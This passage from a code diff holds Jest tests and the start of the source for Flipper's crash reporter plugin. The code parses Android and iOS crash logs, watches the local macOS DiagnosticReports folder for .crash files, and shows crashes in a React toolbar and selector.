'FATAL EXCEPTION: main\nProcess: com.facebook.flipper.sample, PID: 27026\njava.lang.IndexOutOfBoundsException: Index: 190, Size: 0\n\tat java.util.ArrayList.get(ArrayList.java:437)\n\tat com.facebook.flipper.sample.RootComponentSpec.hitGetRequest(RootComponentSpec.java:72)\n\tat com.facebook.flipper.sample.RootComponent.hitGetRequest(RootComponent.java:46)\n';
|
||||
const date = new Date();
|
||||
const crash = parseCrashLog(log, 'Android', date);
|
||||
expect(crash.callstack).toEqual(log);
|
||||
expect(crash.reason).toEqual(
|
||||
'java.lang.IndexOutOfBoundsException: Index: 190, Size: 0',
|
||||
);
|
||||
expect(crash.name).toEqual('FATAL EXCEPTION: main');
|
||||
expect(crash.date).toEqual(date);
|
||||
});
|
||||
test('test the parsing of the Android crash log for the unknown crash format and no date', () => {
|
||||
const log = 'Blaa Blaa Blaa';
|
||||
const crash = parseCrashLog(log, 'Android');
|
||||
expect(crash.callstack).toEqual(log);
|
||||
expect(crash.reason).toEqual('Cannot figure out the cause');
|
||||
expect(crash.name).toEqual('Cannot figure out the cause');
|
||||
expect(crash.date).toBeUndefined();
|
||||
});
|
||||
test('test the parsing of the Android crash log for the partial format matching the crash format', () => {
|
||||
const log = 'First Line Break \n Blaa Blaa \n Blaa Blaa ';
|
||||
const crash = parseCrashLog(log, 'Android');
|
||||
expect(crash.callstack).toEqual(log);
|
||||
expect(crash.reason).toEqual('Cannot figure out the cause');
|
||||
expect(crash.name).toEqual('First Line Break ');
|
||||
});
|
||||
test('test the parsing of the Android crash log with os being iOS', () => {
|
||||
const log =
|
||||
'FATAL EXCEPTION: main\nProcess: com.facebook.flipper.sample, PID: 27026\njava.lang.IndexOutOfBoundsException: Index: 190, Size: 0\n\tat java.util.ArrayList.get(ArrayList.java:437)\n\tat com.facebook.flipper.sample.RootComponentSpec.hitGetRequest(RootComponentSpec.java:72)\n\tat com.facebook.flipper.sample.RootComponent.hitGetRequest(RootComponent.java:46)\n';
|
||||
const crash = parseCrashLog(log, 'iOS');
|
||||
expect(crash.callstack).toEqual(log);
|
||||
expect(crash.reason).toEqual('Cannot figure out the cause');
|
||||
expect(crash.name).toEqual('Cannot figure out the cause');
|
||||
});
|
||||
test('test the getter of pluginKey with proper input', () => {
|
||||
const device = new BaseDevice('serial', 'emulator', 'test device');
|
||||
const pluginKey = getPluginKey(null, device, 'CrashReporter');
|
||||
expect(pluginKey).toEqual('serial#CrashReporter');
|
||||
});
|
||||
test('test the getter of pluginKey with undefined input', () => {
|
||||
const pluginKey = getPluginKey(null, undefined, 'CrashReporter');
|
||||
expect(pluginKey).toEqual('unknown#CrashReporter');
|
||||
});
|
||||
test('test the getter of pluginKey with defined selected app', () => {
|
||||
const pluginKey = getPluginKey('selectedApp', undefined, 'CrashReporter');
|
||||
expect(pluginKey).toEqual('selectedApp#CrashReporter');
|
||||
});
|
||||
test('test the getter of pluginKey with defined selected app and defined base device', () => {
|
||||
const device = new BaseDevice('serial', 'emulator', 'test device');
|
||||
const pluginKey = getPluginKey('selectedApp', device, 'CrashReporter');
|
||||
expect(pluginKey).toEqual('selectedApp#CrashReporter');
|
||||
});
|
||||
test('test defaultPersistedState of CrashReporterPlugin', () => {
|
||||
expect(CrashReporterPlugin.defaultPersistedState).toEqual({crashes: []});
|
||||
});
|
||||
test('test helper setdefaultPersistedState function', () => {
|
||||
const crash = getCrash(0, 'callstack', 'crash0', 'crash0');
|
||||
setDefaultPersistedState({crashes: [crash]});
|
||||
expect(CrashReporterPlugin.defaultPersistedState).toEqual({crashes: [crash]});
|
||||
});
|
||||
test('test getPersistedState for non-empty defaultPersistedState and undefined pluginState', () => {
|
||||
const crash = getCrash(0, 'callstack', 'crash0', 'crash0');
|
||||
setDefaultPersistedState({crashes: [crash]});
|
||||
const pluginStates = {};
|
||||
const perisistedState = getPersistedState(
|
||||
getPluginKey(null, null, CrashReporterPlugin.id),
|
||||
CrashReporterPlugin,
|
||||
pluginStates,
|
||||
);
|
||||
expect(perisistedState).toEqual({crashes: [crash]});
|
||||
});
|
||||
test('test getPersistedState for non-empty defaultPersistedState and defined pluginState', () => {
|
||||
const crash = getCrash(0, 'callstack', 'crash0', 'crash0');
|
||||
const pluginKey = getPluginKey(null, null, CrashReporterPlugin.id);
|
||||
setDefaultPersistedState({crashes: [crash]});
|
||||
const pluginStateCrash = getCrash(1, 'callstack', 'crash1', 'crash1');
|
||||
const pluginStates = {'unknown#CrashReporter': {crashes: [pluginStateCrash]}};
|
||||
const perisistedState = getPersistedState(
|
||||
pluginKey,
|
||||
CrashReporterPlugin,
|
||||
pluginStates,
|
||||
);
|
||||
expect(perisistedState).toEqual({crashes: [pluginStateCrash]});
|
||||
});
|
||||
test('test getNewPersisitedStateFromCrashLog for non-empty defaultPersistedState and defined pluginState', () => {
|
||||
const crash = getCrash(0, 'callstack', 'crash0', 'crash0');
|
||||
const pluginKey = getPluginKey(null, null, CrashReporterPlugin.id);
|
||||
setDefaultPersistedState({crashes: [crash]});
|
||||
const pluginStateCrash = getCrash(1, 'callstack', 'crash1', 'crash1');
|
||||
const pluginStates = {'unknown#CrashReporter': {crashes: [pluginStateCrash]}};
|
||||
const perisistedState = getPersistedState(
|
||||
pluginKey,
|
||||
CrashReporterPlugin,
|
||||
pluginStates,
|
||||
);
|
||||
const content =
|
||||
'Blaa Blaaa \n Blaa Blaaa \n Exception Type: SIGSEGV \n Blaa Blaa \n Blaa Blaa';
|
||||
expect(perisistedState).toBeDefined();
|
||||
const {crashes} = perisistedState;
|
||||
expect(crashes).toBeDefined();
|
||||
expect(crashes.length).toEqual(1);
|
||||
expect(crashes[0]).toEqual(pluginStateCrash);
|
||||
const newPersistedState = getNewPersisitedStateFromCrashLog(
|
||||
perisistedState,
|
||||
CrashReporterPlugin,
|
||||
content,
|
||||
'iOS',
|
||||
);
|
||||
expect(newPersistedState).toBeDefined();
|
||||
// $FlowFixMe: Checked if perisistedState is defined or not
|
||||
const newPersistedStateCrashes = newPersistedState.crashes;
|
||||
expect(newPersistedStateCrashes).toBeDefined();
|
||||
expect(newPersistedStateCrashes.length).toEqual(2);
|
||||
assertCrash(newPersistedStateCrashes[0], pluginStateCrash);
|
||||
assertCrash(
|
||||
newPersistedStateCrashes[1],
|
||||
getCrash(1, content, 'SIGSEGV', 'SIGSEGV'),
|
||||
);
|
||||
});
|
||||
test('test getNewPersisitedStateFromCrashLog for non-empty defaultPersistedState and undefined pluginState', () => {
|
||||
setNotificationID(0);
|
||||
const crash = getCrash(0, 'callstack', 'crash0', 'crash0');
|
||||
const pluginKey = getPluginKey(null, null, CrashReporterPlugin.id);
|
||||
setDefaultPersistedState({crashes: [crash]});
|
||||
const pluginStates = {};
|
||||
const perisistedState = getPersistedState(
|
||||
pluginKey,
|
||||
CrashReporterPlugin,
|
||||
pluginStates,
|
||||
);
|
||||
const content = 'Blaa Blaaa \n Blaa Blaaa \n Exception Type: SIGSEGV';
|
||||
expect(perisistedState).toEqual({crashes: [crash]});
|
||||
const newPersistedState = getNewPersisitedStateFromCrashLog(
|
||||
perisistedState,
|
||||
CrashReporterPlugin,
|
||||
content,
|
||||
'iOS',
|
||||
);
|
||||
expect(newPersistedState).toBeDefined();
|
||||
// $FlowFixMe: Checked if perisistedState is defined or not
|
||||
const {crashes} = newPersistedState;
|
||||
expect(crashes).toBeDefined();
|
||||
expect(crashes.length).toEqual(2);
|
||||
assertCrash(crashes[0], crash);
|
||||
assertCrash(crashes[1], getCrash(1, content, 'SIGSEGV', 'SIGSEGV'));
|
||||
});
|
||||
test('test getNewPersisitedStateFromCrashLog for non-empty defaultPersistedState and defined pluginState and improper crash log', () => {
|
||||
setNotificationID(0);
|
||||
const crash = getCrash(0, 'callstack', 'crash0', 'crash0');
|
||||
const pluginKey = getPluginKey(null, null, CrashReporterPlugin.id);
|
||||
setDefaultPersistedState({crashes: [crash]});
|
||||
const pluginStateCrash = getCrash(1, 'callstack', 'crash1', 'crash1');
|
||||
const pluginStates = {'unknown#CrashReporter': {crashes: [pluginStateCrash]}};
|
||||
const perisistedState = getPersistedState(
|
||||
pluginKey,
|
||||
CrashReporterPlugin,
|
||||
pluginStates,
|
||||
);
|
||||
const content = 'Blaa Blaaa \n Blaa Blaaa';
|
||||
expect(perisistedState).toEqual({crashes: [pluginStateCrash]});
|
||||
const newPersistedState = getNewPersisitedStateFromCrashLog(
|
||||
perisistedState,
|
||||
CrashReporterPlugin,
|
||||
content,
|
||||
'iOS',
|
||||
);
|
||||
expect(newPersistedState).toBeDefined();
|
||||
// $FlowFixMe: Checked if perisistedState is defined or not
|
||||
const {crashes} = newPersistedState;
|
||||
expect(crashes).toBeDefined();
|
||||
expect(crashes.length).toEqual(2);
|
||||
assertCrash(crashes[0], pluginStateCrash);
|
||||
assertCrash(
|
||||
crashes[1],
|
||||
getCrash(
|
||||
1,
|
||||
content,
|
||||
'Cannot figure out the cause',
|
||||
'Cannot figure out the cause',
|
||||
),
|
||||
);
|
||||
});
|
||||
test('test getNewPersisitedStateFromCrashLog when os is undefined', () => {
|
||||
setNotificationID(0);
|
||||
const crash = getCrash(0, 'callstack', 'crash0', 'crash0');
|
||||
const pluginKey = getPluginKey(null, null, CrashReporterPlugin.id);
|
||||
setDefaultPersistedState({crashes: [crash]});
|
||||
const pluginStateCrash = getCrash(1, 'callstack', 'crash1', 'crash1');
|
||||
const pluginStates = {'unknown#CrashReporter': {crashes: [pluginStateCrash]}};
|
||||
const perisistedState = getPersistedState(
|
||||
pluginKey,
|
||||
CrashReporterPlugin,
|
||||
pluginStates,
|
||||
);
|
||||
const content = 'Blaa Blaaa \n Blaa Blaaa';
|
||||
const newPersistedState = getNewPersisitedStateFromCrashLog(
|
||||
perisistedState,
|
||||
CrashReporterPlugin,
|
||||
content,
|
||||
);
|
||||
expect(newPersistedState).toEqual(null);
|
||||
});
|
||||
test('test parsing of path when inputs are correct', () => {
|
||||
const content =
|
||||
'Blaa Blaaa \n Blaa Blaaa \n Path: path/to/simulator/TH1S-15DEV1CE-1D/AppName.app/AppName \n Blaa Blaa \n Blaa Blaa';
|
||||
const id = parsePath(content);
|
||||
expect(id).toEqual('path/to/simulator/TH1S-15DEV1CE-1D/AppName.app/AppName');
|
||||
});
|
||||
test('test parsing of path when path has special characters in it', () => {
|
||||
let content =
|
||||
'Blaa Blaaa \n Blaa Blaaa \n Path: path/to/simulator/TH1S-15DEV1CE-1D/App Name.app/App Name \n Blaa Blaa \n Blaa Blaa';
|
||||
let id = parsePath(content);
|
||||
expect(id).toEqual(
|
||||
'path/to/simulator/TH1S-15DEV1CE-1D/App Name.app/App Name',
|
||||
);
|
||||
content =
|
||||
'Blaa Blaaa \n Blaa Blaaa \n Path: path/to/simulator/TH1S-15DEV1CE-1D/App_Name.app/App_Name \n Blaa Blaa \n Blaa Blaa';
|
||||
id = parsePath(content);
|
||||
expect(id).toEqual(
|
||||
'path/to/simulator/TH1S-15DEV1CE-1D/App_Name.app/App_Name',
|
||||
);
|
||||
content =
|
||||
'Blaa Blaaa \n Blaa Blaaa \n Path: path/to/simulator/TH1S-15DEV1CE-1D/App%20Name.app/App%20Name \n Blaa Blaa \n Blaa Blaa';
|
||||
id = parsePath(content);
|
||||
expect(id).toEqual(
|
||||
'path/to/simulator/TH1S-15DEV1CE-1D/App%20Name.app/App%20Name',
|
||||
);
|
||||
});
|
||||
test('test parsing of path when a regex is not present', () => {
|
||||
const content = 'Blaa Blaaa \n Blaa Blaaa \n Blaa Blaa \n Blaa Blaa';
|
||||
const id = parsePath(content);
|
||||
expect(id).toEqual(null);
|
||||
});
|
||||
test('test shouldShowCrashNotification function for all correct inputs', () => {
|
||||
const device = new BaseDevice('TH1S-15DEV1CE-1D', 'emulator', 'test device');
|
||||
const content =
|
||||
'Blaa Blaaa \n Blaa Blaaa \n Path: path/to/simulator/TH1S-15DEV1CE-1D/App Name.app/App Name \n Blaa Blaa \n Blaa Blaa';
|
||||
const shouldShowNotification = shouldShowCrashNotification(device, content);
|
||||
expect(shouldShowNotification).toEqual(true);
|
||||
});
|
||||
test('test shouldShowCrashNotification function for all correct inputs but incorrect id', () => {
|
||||
const device = new BaseDevice('TH1S-15DEV1CE-1D', 'emulator', 'test device');
|
||||
const content =
|
||||
'Blaa Blaaa \n Blaa Blaaa \n Path: path/to/simulator/TH1S-1598DEV1CE-2D/App Name.app/App Name \n Blaa Blaa \n Blaa Blaa';
|
||||
const shouldShowNotification = shouldShowCrashNotification(device, content);
|
||||
expect(shouldShowNotification).toEqual(false);
|
||||
});
|
||||
test('test shouldShowCrashNotification function for undefined device', () => {
|
||||
const content =
|
||||
'Blaa Blaaa \n Blaa Blaaa \n Path: path/to/simulator/TH1S-1598DEV1CE-2D/App Name.app/App Name \n Blaa Blaa \n Blaa Blaa';
|
||||
const shouldShowNotification = shouldShowCrashNotification(null, content);
|
||||
expect(shouldShowNotification).toEqual(false);
|
||||
});
|
||||
800
desktop/plugins/crash_reporter/index.js
Normal file
800
desktop/plugins/crash_reporter/index.js
Normal file
@@ -0,0 +1,800 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
* @flow
|
||||
*/
|
||||
|
||||
import {
|
||||
FlipperDevicePlugin,
|
||||
Device,
|
||||
View,
|
||||
styled,
|
||||
FlexColumn,
|
||||
FlexRow,
|
||||
ContextMenu,
|
||||
clipboard,
|
||||
Button,
|
||||
FlipperPlugin,
|
||||
getPluginKey,
|
||||
getPersistedState,
|
||||
BaseDevice,
|
||||
shouldParseAndroidLog,
|
||||
Text,
|
||||
colors,
|
||||
Toolbar,
|
||||
Spacer,
|
||||
Select,
|
||||
} from 'flipper';
|
||||
import unicodeSubstring from 'unicode-substring';
|
||||
import fs from 'fs';
|
||||
import os from 'os';
|
||||
import util from 'util';
|
||||
import path from 'path';
|
||||
import {promisify} from 'util';
|
||||
import type {Notification} from '../../src/plugin.tsx';
|
||||
import type {Store, DeviceLogEntry, OS, Props} from 'flipper';
|
||||
import {Component} from 'react';
|
||||
|
||||
type HeaderRowProps = {
|
||||
title: string,
|
||||
value: string,
|
||||
};
|
||||
type openLogsCallbackType = () => void;
|
||||
|
||||
type CrashReporterBarProps = {|
|
||||
openLogsCallback?: openLogsCallbackType,
|
||||
crashSelector: CrashSelectorProps,
|
||||
|};
|
||||
|
||||
type CrashSelectorProps = {|
|
||||
crashes: ?{[key: string]: string},
|
||||
orderedIDs: ?Array<string>,
|
||||
selectedCrashID: ?string,
|
||||
onCrashChange: ?(string) => void,
|
||||
|};
|
||||
|
||||
export type Crash = {|
|
||||
notificationID: string,
|
||||
callstack: ?string,
|
||||
reason: string,
|
||||
name: string,
|
||||
date: Date,
|
||||
|};
|
||||
|
||||
export type CrashLog = {|
|
||||
callstack: string,
|
||||
reason: string,
|
||||
name: string,
|
||||
date: ?Date,
|
||||
|};
|
||||
|
||||
export type PersistedState = {
|
||||
crashes: Array<Crash>,
|
||||
};
|
||||
|
||||
type State = {
|
||||
crash: ?Crash,
|
||||
};
|
||||
|
||||
const Padder = styled.div(
|
||||
({paddingLeft, paddingRight, paddingBottom, paddingTop}) => ({
|
||||
paddingLeft: paddingLeft || 0,
|
||||
paddingRight: paddingRight || 0,
|
||||
paddingBottom: paddingBottom || 0,
|
||||
paddingTop: paddingTop || 0,
|
||||
}),
|
||||
);
|
||||
|
||||
const Title = styled(Text)({
|
||||
fontWeight: 'bold',
|
||||
color: colors.greyTint3,
|
||||
height: 'auto',
|
||||
width: 200,
|
||||
textOverflow: 'ellipsis',
|
||||
});
|
||||
|
||||
const Line = styled(View)({
|
||||
backgroundColor: colors.greyTint2,
|
||||
height: 1,
|
||||
width: 'auto',
|
||||
marginTop: 2,
|
||||
flexShrink: 0,
|
||||
});
|
||||
|
||||
const Container = styled(FlexColumn)({
|
||||
overflow: 'auto',
|
||||
flexShrink: 0,
|
||||
});
|
||||
|
||||
const Value = styled(Text)({
|
||||
fontWeight: 'bold',
|
||||
color: colors.greyTint3,
|
||||
height: 'auto',
|
||||
maxHeight: 200,
|
||||
flexGrow: 1,
|
||||
textOverflow: 'ellipsis',
|
||||
whiteSpace: 'normal',
|
||||
wordWrap: 'break-word',
|
||||
lineHeight: 2,
|
||||
marginLeft: 8,
|
||||
marginRight: 8,
|
||||
overflow: 'hidden',
|
||||
});
|
||||
|
||||
const FlexGrowColumn = styled(FlexColumn)({
|
||||
flexGrow: 1,
|
||||
});
|
||||
|
||||
const PluginRootContainer = styled(FlexColumn)({
|
||||
height: '100%',
|
||||
});
|
||||
|
||||
const ScrollableColumn = styled(FlexGrowColumn)({
|
||||
overflow: 'auto',
|
||||
height: 'auto',
|
||||
});
|
||||
|
||||
const StyledFlexGrowColumn = styled(FlexColumn)({
|
||||
flexGrow: 1,
|
||||
});
|
||||
|
||||
const StyledFlexRowColumn = styled(FlexRow)({
|
||||
aligItems: 'center',
|
||||
justifyContent: 'center',
|
||||
height: '100%',
|
||||
});
|
||||
|
||||
const StyledFlexColumn = styled(StyledFlexGrowColumn)({
|
||||
justifyContent: 'center',
|
||||
alignItems: 'center',
|
||||
});
|
||||
|
||||
const MatchParentHeightComponent = styled(FlexRow)({
|
||||
height: '100%',
|
||||
});
|
||||
|
||||
const ButtonGroupContainer = styled(FlexRow)({
|
||||
paddingLeft: 4,
|
||||
paddingTop: 2,
|
||||
paddingBottom: 2,
|
||||
height: '100%',
|
||||
});
|
||||
|
||||
const StyledSelectContainer = styled(FlexRow)({
|
||||
paddingLeft: 8,
|
||||
paddingTop: 2,
|
||||
paddingBottom: 2,
|
||||
height: '100%',
|
||||
});
|
||||
|
||||
const StyledSelect = styled(Select)({
|
||||
height: '100%',
|
||||
maxWidth: 200,
|
||||
});
|
||||
|
||||
const StackTraceContainer = styled(FlexColumn)({
|
||||
backgroundColor: colors.greyStackTraceTint,
|
||||
flexShrink: 0,
|
||||
});
|
||||
|
||||
const UNKNOWN_CRASH_REASON = 'Cannot figure out the cause';
|
||||
|
||||
export function getNewPersisitedStateFromCrashLog(
|
||||
persistedState: ?PersistedState,
|
||||
persistingPlugin: Class<FlipperDevicePlugin<> | FlipperPlugin<>>,
|
||||
content: string,
|
||||
os: ?OS,
|
||||
logDate: ?Date,
|
||||
): ?PersistedState {
|
||||
const persistedStateReducer = persistingPlugin.persistedStateReducer;
|
||||
if (!os || !persistedStateReducer) {
|
||||
return null;
|
||||
}
|
||||
const crash = parseCrashLog(content, os, logDate);
|
||||
const newPluginState = persistedStateReducer(
|
||||
persistedState,
|
||||
'crash-report',
|
||||
crash,
|
||||
);
|
||||
return newPluginState;
|
||||
}
|
||||
|
||||
export function parseCrashLogAndUpdateState(
|
||||
store: Store,
|
||||
content: string,
|
||||
setPersistedState: (
|
||||
pluginKey: string,
|
||||
newPluginState: ?PersistedState,
|
||||
) => void,
|
||||
logDate: ?Date,
|
||||
) {
|
||||
const os = store.getState().connections.selectedDevice?.os;
|
||||
if (
|
||||
!shouldShowCrashNotification(
|
||||
store.getState().connections.selectedDevice,
|
||||
content,
|
||||
os,
|
||||
)
|
||||
) {
|
||||
return;
|
||||
}
|
||||
const pluginID = CrashReporterPlugin.id;
|
||||
const pluginKey = getPluginKey(
|
||||
null,
|
||||
store.getState().connections.selectedDevice,
|
||||
pluginID,
|
||||
);
|
||||
const persistingPlugin: ?Class<
|
||||
FlipperDevicePlugin<> | FlipperPlugin<>,
|
||||
> = store.getState().plugins.devicePlugins.get(CrashReporterPlugin.id);
|
||||
if (!persistingPlugin) {
|
||||
return;
|
||||
}
|
||||
const pluginStates = store.getState().pluginStates;
|
||||
const persistedState = getPersistedState(
|
||||
pluginKey,
|
||||
persistingPlugin,
|
||||
pluginStates,
|
||||
);
|
||||
const newPluginState = getNewPersisitedStateFromCrashLog(
|
||||
persistedState,
|
||||
persistingPlugin,
|
||||
content,
|
||||
os,
|
||||
logDate,
|
||||
);
|
||||
setPersistedState(pluginKey, newPluginState);
|
||||
}
|
||||
|
||||
export function shouldShowCrashNotification(
|
||||
baseDevice: ?BaseDevice,
|
||||
content: string,
|
||||
os: ?OS,
|
||||
): boolean {
|
||||
if (os && os === 'Android') {
|
||||
return true;
|
||||
}
|
||||
const appPath = parsePath(content);
|
||||
const serial: string = baseDevice?.serial || 'unknown';
|
||||
if (!appPath || !appPath.includes(serial)) {
|
||||
// Do not show notifications for the app which are not the selected one
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
export function parseCrashLog(
|
||||
content: string,
|
||||
os: OS,
|
||||
logDate: ?Date,
|
||||
): CrashLog {
|
||||
const fallbackReason = UNKNOWN_CRASH_REASON;
|
||||
switch (os) {
|
||||
case 'iOS': {
|
||||
const regex = /Exception Type: *[\w]*/;
|
||||
const arr = regex.exec(content);
|
||||
const exceptionString = arr ? arr[0] : '';
|
||||
const exceptionRegex = /[\w]*$/;
|
||||
const tmp = exceptionRegex.exec(exceptionString);
|
||||
const exception = tmp && tmp[0].length ? tmp[0] : fallbackReason;
|
||||
|
||||
let date = logDate;
|
||||
if (!date) {
|
||||
const dateRegex = /Date\/Time: *[\w\s\.:-]*/;
|
||||
const dateArr = dateRegex.exec(content);
|
||||
const dateString = dateArr ? dateArr[0] : '';
|
||||
const dateRegex2 = /[\w\s\.:-]*$/;
|
||||
const tmp1 = dateRegex2.exec(dateString);
|
||||
const extractedDateString: ?string =
|
||||
tmp1 && tmp1[0].length ? tmp1[0] : null;
|
||||
date = extractedDateString ? new Date(extractedDateString) : logDate;
|
||||
}
|
||||
|
||||
const crash = {
|
||||
callstack: content,
|
||||
name: exception,
|
||||
reason: exception,
|
||||
date,
|
||||
};
|
||||
return crash;
|
||||
}
|
||||
case 'Android': {
|
||||
const regForName = /.*\n/;
|
||||
const nameRegArr = regForName.exec(content);
|
||||
let name = nameRegArr ? nameRegArr[0] : fallbackReason;
|
||||
const regForCallStack = /\tat[\w\s\n.$&+,:;=?@#|'<>.^*()%!-]*$/;
|
||||
const callStackArray = regForCallStack.exec(content);
|
||||
const callStack = callStackArray ? callStackArray[0] : '';
|
||||
let remainingString =
|
||||
callStack.length > 0 ? content.replace(callStack, '') : '';
|
||||
if (remainingString[remainingString.length - 1] === '\n') {
|
||||
remainingString = remainingString.slice(0, -1);
|
||||
}
|
||||
const reason =
|
||||
remainingString.length > 0
|
||||
? remainingString.split('\n').pop()
|
||||
: fallbackReason;
|
||||
if (name[name.length - 1] === '\n') {
|
||||
name = name.slice(0, -1);
|
||||
}
|
||||
const crash = {
|
||||
callstack: content,
|
||||
name: name,
|
||||
reason: reason,
|
||||
date: logDate,
|
||||
};
|
||||
return crash;
|
||||
}
|
||||
default: {
|
||||
throw new Error('Unsupported OS');
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function truncate(baseString: string, numOfChars: number): string {
|
||||
if (baseString.length <= numOfChars) {
|
||||
return baseString;
|
||||
}
|
||||
const truncated_string = unicodeSubstring(baseString, 0, numOfChars - 1);
|
||||
return truncated_string + '\u2026';
|
||||
}
|
||||
|
||||
export function parsePath(content: string): ?string {
|
||||
const regex = /Path: *[\w\-\/\.\t\ \_\%]*\n/;
|
||||
const arr = regex.exec(content);
|
||||
if (!arr || arr.length <= 0) {
|
||||
return null;
|
||||
}
|
||||
const pathString = arr[0];
|
||||
const pathRegex = /[\w\-\/\.\t\ \_\%]*\n/;
|
||||
const tmp = pathRegex.exec(pathString);
|
||||
if (!tmp || tmp.length == 0) {
|
||||
return null;
|
||||
}
|
||||
const path = tmp[0];
|
||||
return path.trim();
|
||||
}
|
||||
|
||||
function addFileWatcherForiOSCrashLogs(
|
||||
store: Store,
|
||||
setPersistedState: (
|
||||
pluginKey: string,
|
||||
newPluginState: ?PersistedState,
|
||||
) => void,
|
||||
) {
|
||||
const dir = path.join(os.homedir(), 'Library', 'Logs', 'DiagnosticReports');
|
||||
if (!fs.existsSync(dir)) {
|
||||
// Directory doesn't exist
|
||||
return;
|
||||
}
|
||||
fs.watch(dir, (eventType, filename) => {
|
||||
// We just parse the crash logs with extension `.crash`
|
||||
const checkFileExtension = /.crash$/.exec(filename);
|
||||
if (!filename || !checkFileExtension) {
|
||||
return;
|
||||
}
|
||||
const filepath = path.join(dir, filename);
|
||||
promisify(fs.exists)(filepath).then(exists => {
|
||||
if (!exists) {
|
||||
return;
|
||||
}
|
||||
fs.readFile(filepath, 'utf8', function(err, data) {
|
||||
if (store.getState().connections.selectedDevice?.os != 'iOS') {
|
||||
// If the selected device is not iOS don't show crash notifications
|
||||
return;
|
||||
}
|
||||
if (err) {
|
||||
console.error(err);
|
||||
return;
|
||||
}
|
||||
parseCrashLogAndUpdateState(
|
||||
store,
|
||||
util.format(data),
|
||||
setPersistedState,
|
||||
);
|
||||
});
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
class CrashSelector extends Component<CrashSelectorProps> {
|
||||
render() {
|
||||
const {crashes, selectedCrashID, orderedIDs, onCrashChange} = this.props;
|
||||
return (
|
||||
<StyledFlexRowColumn>
|
||||
<ButtonGroupContainer>
|
||||
<MatchParentHeightComponent>
|
||||
<Button
|
||||
disabled={Boolean(!orderedIDs || orderedIDs.length <= 1)}
|
||||
compact={true}
|
||||
onClick={() => {
|
||||
if (onCrashChange && orderedIDs) {
|
||||
const index = orderedIDs.indexOf(selectedCrashID);
|
||||
const nextIndex =
|
||||
index < 1 ? orderedIDs.length - 1 : index - 1;
|
||||
const nextID = orderedIDs[nextIndex];
|
||||
onCrashChange(nextID);
|
||||
}
|
||||
}}
|
||||
icon="chevron-left"
|
||||
iconSize={12}
|
||||
title="Previous Crash"
|
||||
/>
|
||||
</MatchParentHeightComponent>
|
||||
<MatchParentHeightComponent>
|
||||
<Button
|
||||
disabled={Boolean(!orderedIDs || orderedIDs.length <= 1)}
|
||||
compact={true}
|
||||
onClick={() => {
|
||||
if (onCrashChange && orderedIDs) {
|
||||
const index = orderedIDs.indexOf(selectedCrashID);
|
||||
const nextIndex =
|
||||
index >= orderedIDs.length - 1 ? 0 : index + 1;
|
||||
const nextID = orderedIDs[nextIndex];
|
||||
onCrashChange(nextID);
|
||||
}
|
||||
}}
|
||||
icon="chevron-right"
|
||||
iconSize={12}
|
||||
title="Next Crash"
|
||||
/>
|
||||
</MatchParentHeightComponent>
|
||||
</ButtonGroupContainer>
|
||||
<StyledSelectContainer>
|
||||
<StyledSelect
|
||||
grow={true}
|
||||
selected={selectedCrashID || 'NoCrashID'}
|
||||
options={crashes || {NoCrashID: 'No Crash'}}
|
||||
onChangeWithKey={(key: string) => {
|
||||
if (onCrashChange) {
|
||||
onCrashChange(key);
|
||||
}
|
||||
}}
|
||||
/>
|
||||
</StyledSelectContainer>
|
||||
</StyledFlexRowColumn>
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
class CrashReporterBar extends Component<CrashReporterBarProps> {
|
||||
render() {
|
||||
const {openLogsCallback, crashSelector} = this.props;
|
||||
return (
|
||||
<Toolbar>
|
||||
<CrashSelector {...crashSelector} />
|
||||
<Spacer />
|
||||
<Button
|
||||
disabled={Boolean(!openLogsCallback)}
|
||||
onClick={openLogsCallback}>
|
||||
Open In Logs
|
||||
</Button>
|
||||
</Toolbar>
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
class HeaderRow extends Component<HeaderRowProps> {
|
||||
render() {
|
||||
const {title, value} = this.props;
|
||||
return (
|
||||
<Padder paddingTop={8} paddingBottom={2} paddingLeft={8}>
|
||||
<Container>
|
||||
<FlexRow>
|
||||
<Title>{title}</Title>
|
||||
<ContextMenu
|
||||
items={[
|
||||
{
|
||||
label: 'copy',
|
||||
click: () => {
|
||||
clipboard.writeText(value);
|
||||
},
|
||||
},
|
||||
]}>
|
||||
<Value code={true}>{value}</Value>
|
||||
</ContextMenu>
|
||||
</FlexRow>
|
||||
<Line />
|
||||
</Container>
|
||||
</Padder>
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
type StackTraceComponentProps = {
|
||||
stacktrace: string,
|
||||
};
|
||||
|
||||
class StackTraceComponent extends Component<StackTraceComponentProps> {
|
||||
render() {
|
||||
const {stacktrace} = this.props;
|
||||
return (
|
||||
<StackTraceContainer>
|
||||
<Padder paddingTop={8} paddingBottom={2} paddingLeft={8}>
|
||||
<Value code={true}>{stacktrace}</Value>
|
||||
</Padder>
|
||||
<Line />
|
||||
</StackTraceContainer>
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
export default class CrashReporterPlugin extends FlipperDevicePlugin<
|
||||
State,
|
||||
void,
|
||||
PersistedState,
|
||||
> {
|
||||
static defaultPersistedState = {crashes: []};
|
||||
|
||||
static supportsDevice(device: Device) {
|
||||
return device.os === 'iOS' || device.os === 'Android';
|
||||
}
|
||||
|
||||
static notificationID: number = 0;
|
||||
/*
|
||||
* Reducer to process incoming "send" messages from the mobile counterpart.
|
||||
*/
|
||||
static persistedStateReducer = (
|
||||
persistedState: PersistedState,
|
||||
method: string,
|
||||
payload: Object,
|
||||
): PersistedState => {
|
||||
if (method === 'crash-report' || method === 'flipper-crash-report') {
|
||||
CrashReporterPlugin.notificationID++;
|
||||
const mergedState: PersistedState = {
|
||||
crashes: persistedState.crashes.concat([
|
||||
{
|
||||
notificationID: CrashReporterPlugin.notificationID.toString(), // All notifications are unique
|
||||
callstack: payload.callstack,
|
||||
name: payload.name,
|
||||
reason: payload.reason,
|
||||
date: payload.date || new Date(),
|
||||
},
|
||||
]),
|
||||
};
|
||||
return mergedState;
|
||||
}
|
||||
return persistedState;
|
||||
};
|
||||
|
||||
static trimCallStackIfPossible = (callstack: string): string => {
|
||||
const regex = /Application Specific Information:/;
|
